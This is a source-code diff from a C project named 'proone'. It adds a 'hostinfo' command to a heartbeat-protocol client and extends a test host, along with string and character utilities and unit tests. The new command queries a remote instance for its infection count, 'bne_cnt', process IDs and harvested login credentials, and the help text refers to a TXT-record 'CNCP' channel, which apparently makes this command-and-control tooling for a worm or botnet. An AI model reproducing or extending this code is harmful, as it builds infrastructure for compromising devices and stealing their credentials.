emit_scalar(YAML_STR_TAG, "err"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRId32, st->err); + emit_mapping_end(); +} + +static void emit_preemble (const char *cmd, const char *result) { + // TODO: include -t -p and resolved hostname as well + emit_scalar(YAML_STR_TAG, PREEMBLE_TAG_NAME); + + emit_mapping_start(); + emit_scalar(YAML_STR_TAG, "command"); + emit_scalar(YAML_STR_TAG, cmd); + emit_scalar(YAML_STR_TAG, "result"); + emit_scalar(YAML_STR_TAG, result); + emit_mapping_end(); +} + +static void emit_hostinfo_frame (const prne_htbt_host_info_t *hi) { + prne_host_cred_t hc; + prne_htbt_ser_rc_t rc; + const char *archstr; + + prne_init_host_cred(&hc); + emit_scalar(YAML_STR_TAG, BODY_TAG_NAME); + + emit_mapping_start(); + emit_scalar(YAML_STR_TAG, "parent_uptime"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->parent_uptime); + emit_scalar(YAML_STR_TAG, "child_uptime"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->child_uptime); + emit_scalar(YAML_STR_TAG, "bne_cnt"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->bne_cnt); + emit_scalar(YAML_STR_TAG, "infect_cnt"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu64, hi->infect_cnt); + emit_scalar(YAML_STR_TAG, "parent_pid"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->parent_pid); + emit_scalar(YAML_STR_TAG, "child_pid"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->child_pid); + emit_scalar(YAML_STR_TAG, "prog_ver"); + emit_scalar_fmt( + YAML_STR_TAG, + "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + hi->prog_ver[0], + hi->prog_ver[1], + hi->prog_ver[2], + hi->prog_ver[3], + hi->prog_ver[4], + hi->prog_ver[5], + hi->prog_ver[6], + hi->prog_ver[7], + hi->prog_ver[8], + hi->prog_ver[9], + hi->prog_ver[10], + hi->prog_ver[11], + hi->prog_ver[12], + hi->prog_ver[13], + hi->prog_ver[14], + hi->prog_ver[15]); + emit_scalar(YAML_STR_TAG, "boot_id"); + emit_scalar_fmt( + YAML_STR_TAG, + "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + hi->boot_id[0], + hi->boot_id[1], + hi->boot_id[2], + hi->boot_id[3], + hi->boot_id[4], + hi->boot_id[5], + hi->boot_id[6], + hi->boot_id[7], + hi->boot_id[8], + hi->boot_id[9], + hi->boot_id[10], + hi->boot_id[11], + hi->boot_id[12], + hi->boot_id[13], + hi->boot_id[14], + hi->boot_id[15]); + emit_scalar(YAML_STR_TAG, "instance_id"); + emit_scalar_fmt( + YAML_STR_TAG, + "%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", + hi->instance_id[0], + hi->instance_id[1], + hi->instance_id[2], + hi->instance_id[3], + hi->instance_id[4], + hi->instance_id[5], + hi->instance_id[6], + hi->instance_id[7], + hi->instance_id[8], + hi->instance_id[9], + hi->instance_id[10], + hi->instance_id[11], + hi->instance_id[12], + hi->instance_id[13], + hi->instance_id[14], + hi->instance_id[15]); + + if (hi->host_cred_len > 0) { + rc = prne_dec_host_cred(hi->host_cred, hi->host_cred_len, &hc); + emit_scalar(YAML_STR_TAG, "host_cred"); + + emit_mapping_start(); + if (rc == PRNE_HTBT_SER_RC_ERRNO) { + perror("prne_dec_host_cred()"); + abort(); + } + else if (rc == PRNE_HTBT_SER_RC_OK && + prne_chkcstr(hc.id, prne_cisprint) && + prne_chkcstr(hc.pw, prne_cisprint)) + { + emit_scalar(YAML_STR_TAG, "fmt"); + emit_scalar(YAML_STR_TAG, "plain"); + emit_scalar(YAML_STR_TAG, "id"); + emit_scalar(YAML_STR_TAG, hc.id); + emit_scalar(YAML_STR_TAG, "pw"); + emit_scalar(YAML_STR_TAG, hc.pw); + } + else { + char *b64str; + + b64str = prne_enc_base64_mem(hi->host_cred, hi->host_cred_len); + if (b64str == NULL) { + perror("prne_enc_base64_mem()"); + abort(); + } + + emit_scalar(YAML_STR_TAG, "fmt"); + emit_scalar(YAML_STR_TAG, "raw"); + emit_scalar(YAML_STR_TAG, "raw"); + emit_scalar(YAML_STR_TAG, b64str); + + prne_free(b64str); + } + emit_mapping_end(); + } + + emit_scalar(YAML_STR_TAG, "crash_cnt"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->crash_cnt); + emit_scalar(YAML_STR_TAG, "arch"); + emit_scalar_fmt(YAML_INT_TAG, "%"PRIu32, hi->arch); + archstr = prne_arch_tostr(hi->arch); + if (archstr != NULL) { + emit_scalar(YAML_STR_TAG, "archstr"); + emit_scalar(YAML_STR_TAG, archstr); + } + emit_mapping_end(); + + prne_free_host_cred(&hc); +} + +static int cmdmain_hostinfo (void) { + int ret = 0; + uint16_t msgid; + prne_htbt_msg_head_t mh; + prne_htbt_host_info_t hi; + prne_htbt_status_t st; + + msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f); + prne_htbt_init_msg_head(&mh); + prne_htbt_init_host_info(&hi); + prne_htbt_init_status(&st); + mh.id = msgid; + mh.is_rsp = false; + mh.op = PRNE_HTBT_OP_HOST_INFO; + + if (!do_connect()) { + ret = 1; + goto END; + } + + if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head)) { + ret = 1; + goto END; + } + if (!recv_mh(&mh, &msgid)) { + ret = 1; + goto END; + } + switch (mh.op) { + case PRNE_HTBT_OP_HOST_INFO: + if (!recv_frame(&hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) { + ret = 1; + goto END; + } + start_yaml(); + emit_preemble("hostinfo", "ok"); + emit_hostinfo_frame(&hi); + break; + case PRNE_HTBT_OP_STATUS: + ret = 1; + if (recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) { + start_yaml(); + emit_preemble("hostinfo", "status"); + emit_status_frame(&st); + } + goto END; + default: + fprintf(stderr, "Invalid op code response: %"PRIx8"\n", mh.op); + ret = 1; + goto END; + } + +END: + prne_htbt_free_msg_head(&mh); + prne_htbt_free_host_info(&hi); + prne_htbt_free_status(&st); + return ret; +} + +int main (const int argc, char *const *args) { + int ec = 0; + + init_prog_g(); + init_prog_conf(); + + if (argc <= 1) { + print_help(args[0], SC_NONE, stderr); + ec = 2; + goto END; + } + + ec = parse_args(argc, args); + if (prog_conf.help) { + print_help(args[0], prog_conf.cmd, stdout); + } + if (prog_conf.version) { + print_version(stdout); + } + if (ec != 0 || is_info_run()) { + goto END; + } + + ec = init_tls(); + if (ec != 0) { + goto END; + } + + switch (prog_conf.cmd) { + // TODO + case SC_HOSTINFO: ec = cmdmain_hostinfo(); break; + default: + ec = 1; + fprintf(stderr, "COMMAND not implemented.\n"); + } + +END: + end_yaml(); + deinit_prog_conf(); + deinit_prog_g(); + return ec; +} diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index 32c6158..9134e6e 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -23,14 +23,15 @@ #define HELP_STR \ "Usage: %s [options ...] [DNS SPECs...]\n"\ "Options:\n"\ -" Target TXT record for CNCP\n"\ -" --help print this message\n"\ -" --no-verify Do not verify client cert\n"\ -" --no-default-dns Do not use hard-coded nameserver pools\n"\ -" @ DNS over TLS nameserver\n"\ +" target TXT record for CNCP\n"\ +" --help print this message\n"\ +" --no-verify do not verify client cert\n"\ +" --no-default-dns do not use hard-coded nameserver pools\n"\ +" --hostcred= specify hostcred data\n"\ +" @ DNS over TLS nameserver\n"\ "Notes:\n"\ -" IPv4 example: @192.0.2.1 or 192.0.2.1:853\n"\ -" IPv6 example: @[2001:db8::1] or [2001:db8::1]:853\n" +" IPv4 example: @192.0.2.1 or 192.0.2.1:853\n"\ +" IPv6 example: @[2001:db8::1] or [2001:db8::1]:853\n" typedef struct { char txtrec[256]; @@ -41,14 +42,14 @@ typedef struct { } htbthost_param_t; static htbthost_param_t htbthost_param; -static regex_t re_ns4, re_ns6; +static regex_t re_ns4, re_ns6, re_hc; static char m_nybin_path[256]; static char m_nybin_args[1024]; static size_t m_nybin_args_size; static sigset_t ss_all, ss_exit; static struct timespec proc_start; static uint8_t instance_id[16]; -static char hostcred[255]; +static uint8_t *hostcred; static size_t hostcred_len; static pth_t main_pth; @@ -103,6 +104,9 @@ static bool cb_hostinfo (void *ctx, prne_htbt_host_info_t *out) { if (prne_htbt_alloc_host_info(out, hostcred_len)) { memcpy(out->host_cred, hostcred, hostcred_len); } + else { + return false; + } out->crash_cnt = 0; out->arch = prne_host_arch; @@ -270,6 +274,17 @@ static bool parse_param (const char *arg) { htbthost_param.pool6.arr[pos] = ep; } } + else if (regexec(&re_hc, arg, 2, rm, 0) == 0) { + if (!prne_dec_base64_mem( + arg + rm[1].rm_so, + rm[1].rm_eo - rm[1].rm_so, + &hostcred, + &hostcred_len)) + { + perror("--hostcred"); + return false; + } + } else { return false; } @@ -369,6 +384,10 @@ int main (const int argc, const char **args) { &re_ns6, "^@\\[([0-9a-f:]+)\\](:[0-9]{1,5})?$", REG_ICASE | REG_EXTENDED) == 0); + assert(regcomp( + &re_hc, + "^--hostcred=(.*)$", + REG_ICASE | REG_EXTENDED) == 0); prne_assert(sigprocmask(SIG_BLOCK, &ss_all, NULL) == 0); init_htbthost_param(&htbthost_param); @@ -521,6 +540,7 @@ int main (const int argc, const char **args) { free_htbthost_param(&htbthost_param); regfree(&re_ns4); regfree(&re_ns6); + prne_free(hostcred); if (prne_nstrlen(m_nybin_path) > 0) { do_run_ny_bin(); diff --git a/src/proone-recon.c b/src/proone-recon.c index 408d68c..43fe8d5 100644 --- a/src/proone-recon.c +++ b/src/proone-recon.c @@ -82,8 +82,8 @@ static int do_parse_conf (FILE *file, prne_recon_param_t *param) { ent_spec = line[1] + rm[2].rm_so; ent_addr = line[1] + rm[4].rm_so; ent_cidr = line[1] + rm[5].rm_so; - prne_transstr(ent_spec, toupper); - prne_transstr(ent_addr, tolower); + prne_transcstr(ent_spec, prne_ctoupper); + prne_transcstr(ent_addr, prne_ctolower); if (inet_pton(AF_INET6, ent_addr, net.addr.addr)) { net.addr.ver = PRNE_IPV_6; diff --git a/src/proone-resolv.c b/src/proone-resolv.c index 0d02b22..d27df4f 100644 --- a/src/proone-resolv.c +++ b/src/proone-resolv.c @@ -39,23 +39,6 @@ prne_pth_cv_t prm_cv = { &prm_lock, &prm_cond, false }; prne_resolv_t *resolv = NULL; -static void upperstr (char *str, const size_t n) { - for (size_t i = 0; i < n; i += 1) { - if ('a' <= str[i] && str[i] <= 'z') { - str[i] -= 'a' - 'A'; - } - } -} - -static bool printable_str (const char *str, const size_t n) { - for (size_t i = 0; i < n; i += 1) { - if (!isprint(str[i])) { - return false; - } - } - return true; -} - static void proc_prompt_line (char *line, const size_t line_len) { static regmatch_t rm[3]; @@ -72,7 +55,7 @@ static void proc_prompt_line (char *line, const size_t line_len) { verb = line + rm[1].rm_so; verb_len = rm[1].rm_eo - rm[1].rm_so; - upperstr(verb, verb_len); + prne_transcmem(verb, verb_len, prne_ctoupper); obj = line + rm[2].rm_so; obj_len = rm[2].rm_eo - rm[2].rm_so; obj[obj_len] = 0; @@ -255,9 +238,10 @@ static void *stdout_wkr_entry (void *ctx) { break; case PRNE_RESOLV_RTYPE_TXT: if (isatty(STDOUT_FILENO) && - !printable_str( + !prne_chkcmem( (const char *)rr->rd_data + 1, - rr->rd_data[0])) + rr->rd_data[0], + prne_cisprint)) { printf( ";\t\t* (binary data - " diff --git a/src/proone-test_util.c b/src/proone-test_util.c index c704d70..a5a88db 100644 --- a/src/proone-test_util.c +++ b/src/proone-test_util.c @@ -4,15 +4,19 @@ #include #include #include +#include +#include static void test_uuid (void); static void test_alloc (void); static void test_str (void); +static void test_cc (void); int main (void) { test_alloc(); test_str(); + test_cc(); test_uuid(); return 0; @@ -152,3 +156,14 @@ static void test_uuid (void) { out_arr)); assert(errno == EINVAL); } + +static void test_cc (void) { + for (int i = 1; i <= 127; i += 1) { + const char c = (char)i; + + assert(prne_ctoupper(c) == toupper(c)); + assert(prne_ctolower(c) == tolower(c)); + assert(prne_cisspace(c) == (isspace(c) != 0)); + assert(prne_cisprint(c) == (isprint(c) != 0)); + } +} diff --git a/src/protocol.c b/src/protocol.c index f936787..6598ad8 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -1041,3 +1041,17 @@ char **prne_htbt_parse_args ( return ret; } + +uint16_t prne_htbt_gen_msgid (void *ctx, uint16_t(*rnd_f)(void*)) { + return (rnd_f(ctx) % PRNE_HTBT_MSG_ID_DELTA) + PRNE_HTBT_MSG_ID_MIN; +} + +const char *prne_htbt_serrc_tostr (const prne_htbt_ser_rc_t x) { + switch (x) { + case PRNE_HTBT_SER_RC_OK: return "ok"; + case PRNE_HTBT_SER_RC_MORE_BUF: return "more buf"; + case PRNE_HTBT_SER_RC_ERRNO: return "errno"; + case PRNE_HTBT_SER_RC_FMT_ERR: return "format error"; + } + return NULL; +} diff --git a/src/protocol.h b/src/protocol.h index cfb68a3..88319b5 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -171,7 +171,7 @@ typedef enum { * uint12_t len */ PRNE_HTBT_OP_STDIO, - /* Get Binary Operation + /* Binary Retrieval Operation * TODO * * uint8_t arch @@ -296,7 +296,7 @@ typedef prne_htbt_ser_rc_t(*prne_htbt_dser_ft)( #define PRNE_HTBT_MSG_ID_MIN 1 #define PRNE_HTBT_MSG_ID_MAX INT16_MAX #define PRNE_HTBT_MSG_ID_DELTA INT16_MAX -#define PRNE_HTBT_PROTO_PORT (uint16_t)64420 +#define PRNE_HTBT_PROTO_PORT 64420 // _POSIX_ARG_MAX equiv #define PRNE_HTBT_ARGS_MAX 255 #define PRNE_HTBT_ARG_MEM_MAX 1023 @@ -485,3 +485,7 @@ char **prne_htbt_parse_args ( char **add_args, size_t *argc, const size_t max_args); + +uint16_t prne_htbt_gen_msgid (void *ctx, uint16_t(*rnd_f)(void*)); + +const char *prne_htbt_serrc_tostr (const prne_htbt_ser_rc_t x); diff --git a/src/util_rt.c b/src/util_rt.c index 1d2c997..632ebee 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -161,6 +161,37 @@ bool prne_own_realloc ( return true; } +char prne_ctoupper (const char c) { + if ('a' <= c && c <= 'z') { + return c - ('a' - 'A'); + } + return c; +} + +char prne_ctolower (const char c) { + if ('A' <= c && c <= 'Z') { + return c + ('a' - 'A'); + } + return c; +} + +bool prne_cisspace (const char c) { + switch (c) { + case ' ': + case '\f': + case '\n': + case '\r': + case '\t': + case '\v': + return true; + } + return false; +} + +bool prne_cisprint (const char c) { + return 32 <= c && c < 127; +} + bool prne_nstreq (const char *a, const char *b) { return strcmp(a == NULL ? "" : a, b == NULL ? "" : b) == 0; } @@ -188,7 +219,7 @@ size_t prne_str_shift_spaces (char *str, const size_t len) { size_t i, ret = len; for (i = 0; i < ret; ) { - if (isspace(str[i])) { + if (prne_cisspace(str[i])) { if (i + 1 >= ret) { // last trailing whitespace ret -= 1; @@ -205,18 +236,48 @@ size_t prne_str_shift_spaces (char *str, const size_t len) { return ret; } +bool prne_chkcstr (const char *str, bool(*chk_f)(const char)) { + bool ret = true; + + for (; *str != 0 && ret; str += 1) { + ret &= chk_f(*str); + } + return ret; +} + +bool prne_chkcmem (const void *m, size_t len, bool(*chk_f)(const char)) { + bool ret = true; + + for (size_t i = 0; i < len && ret; i += 1) { + ret &= chk_f(((uint8_t*)m)[i]); + } + return ret; +} + void prne_transstr (char *str, int(*trans_f)(int)) { for (; *str != 0; str += 1) { *str = (char)trans_f(*str); } } +void prne_transcstr (char *str, char(*trans_f)(char)) { + for (; *str != 0; str += 1) { + *str = trans_f(*str); + } +} + void prne_transmem (void *m, size_t len, int(*trans_f)(int)) { for (size_t i = 0; i < len; i += 1) { ((uint8_t*)m)[i] = (uint8_t)trans_f(((uint8_t*)m)[i]); } } +void prne_transcmem (void *m, size_t len, char(*trans_f)(char)) { + for (size_t i = 0; i < len; i += 1) { + ((uint8_t*)m)[i] = (uint8_t)trans_f(((uint8_t*)m)[i]); + } +} + void *prne_memrchr ( const void *haystack, const int c, diff --git a/src/util_rt.h b/src/util_rt.h index 0b0cf59..744ce82 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -38,12 +38,23 @@ bool prne_own_realloc ( size_t *old, const size_t req); +/* Locale "C" character category functions +*/ +char prne_ctoupper (const char c); +char prne_ctolower (const char c); +bool prne_cisspace (const char c); +bool prne_cisprint (const char c); + bool prne_nstreq (const char *a, const char *b); size_t prne_nstrlen (const char *s); char *prne_strnchr (const char *p, const char c, const size_t n); size_t prne_str_shift_spaces (char *str, const size_t len); +bool prne_chkcstr (const char *str, bool(*chk_f)(const char)); +bool prne_chkcmem (const void *m, size_t len, bool(*chk_f)(const char)); void prne_transstr (char *str, int(*trans_f)(int)); +void prne_transcstr (char *str, char(*trans_f)(char)); void prne_transmem (void *m, size_t len, int(*trans_f)(int)); +void prne_transcmem (void *m, size_t len, char(*trans_f)(char)); void *prne_memrchr ( const void *haystack, const int c, @@ -64,7 +75,15 @@ char *prne_rebuild_str (void *prev, const char **const arr, const size_t cnt); bool prne_hex_fromstr (const char *str, uint_fast8_t *out); void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper); +/* +* \param str: at least 36 bytes +* \param out: at least 16 bytes +*/ bool prne_uuid_fromstr (const char *str, uint8_t *out); +/* +* \param in: at least 16 bytes +* \param out: at least 37 bytes (null-terminated) +*/ void prne_uuid_tostr (const uint8_t *in, char *out); struct timespec prne_add_timespec ( -- cgit